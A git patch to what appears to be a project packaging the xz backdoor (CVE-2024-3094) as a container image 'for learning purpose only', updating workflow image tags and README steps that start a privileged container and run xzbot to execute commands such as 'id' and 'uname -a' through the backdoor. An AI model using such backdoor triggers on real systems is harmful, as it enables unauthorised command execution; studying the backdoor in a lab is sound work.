From 17322b474ed744db8b72eb486d8fb57298698983 Mon Sep 17 00:00:00 2001 From: Marut Khumtong Date: Thu, 4 Apr 2024 02:14:29 +0700 Subject: [PATCH] Increase tag priority --- .github/workflows/publish.yml | 7 ++++--- README.md | 17 +++++++++++++---- 2 files changed, 17 insertions(+), 7 deletions(-) diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml index a992d15..986281a 100644 --- a/.github/workflows/publish.yml +++ b/.github/workflows/publish.yml @@ -20,7 +20,6 @@ env: IMAGE_NAME: ${{ github.repository }} PLATFORM: linux/amd64 - jobs: build: runs-on: ubuntu-latest @@ -70,9 +69,11 @@ jobs: images: | ${{ env.IMAGE_NAME }} ghcr.io/${{ env.IMAGE_NAME }} + flavor: | + latest=false tags: | - type=raw,value={{ matrix.version }} - type=raw,value=latest,enable={{is_default_branch}} + type=raw,value=${{ matrix.version }} + type=raw,value=latest,enable=${{ matrix.version == '5.6.1' }} # Build and push Docker image with Buildx (don't push on PR) # https://github.com/docker/build-push-action diff --git a/README.md b/README.md index 694e656..3422bdb 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,21 @@ # xz backdoor container image -A container image of [xz](https://tukaani.org/xz-backdoor/) backdoor ([CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094)) based on an amazing work from [@amlweems](https://github.com/amlweems)'s [xzbot](https://github.com/amlweems/xzbot) project that can be run on both *x86_64* and *Apple Silicon* (via QEMU or rosetta). +The container image of [xz](https://tukaani.org/xz-backdoor/) backdoor ([CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094)) based on an amazing work from [@amlweems](https://github.com/amlweems)'s [xzbot](https://github.com/amlweems/xzbot) project that can be run on both *x86_64* and *Apple Silicon* (via QEMU or rosetta). > THIS IS FOR LEARNING PURPOSE ONLY! ## Demo ![xz-backdoor demo](.github/demo.gif) +## Overview +The container images are available on both Github ([ghcr.io/rezigned/xz-backdoor](https://github.com/rezigned/xz-backdoor/pkgs/container/xz-backdoor)) and Docker ([rezigned/xz-backdoor](https://hub.docker.com/r/rezigned/xz-backdoor)) registries. + +### Versions +Both versions of the xz-backdoor are available as image tags. + +* 5.6.0 +* 5.6.1 (`latest`) + ## Getting started ### Prerequisites @@ -25,7 +34,7 @@ docker run --rm -it -d \ --privileged \ --name xz-backdoor \ --platform linux/amd64 \ - ghcr.io/rezigned/xz-backdoor:latest + rezigned/xz-backdoor:latest # or xz-backdoor:5.6.0 ``` **2. Run a command via `xzbot`** @@ -36,10 +45,10 @@ docker run --rm -it -d \ ```sh # default command `id > /tmp/.xz` -docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -addr "127.0.0.1:22" +docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot # custom command -docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -addr "127.0.0.1:22" -cmd "uname -a > /tmp/.xz" +docker exec -it `docker ps -f name=xz-backdoor -q` ./xzbot -cmd "uname -a > /tmp/.xz" ``` ## Acknowledgements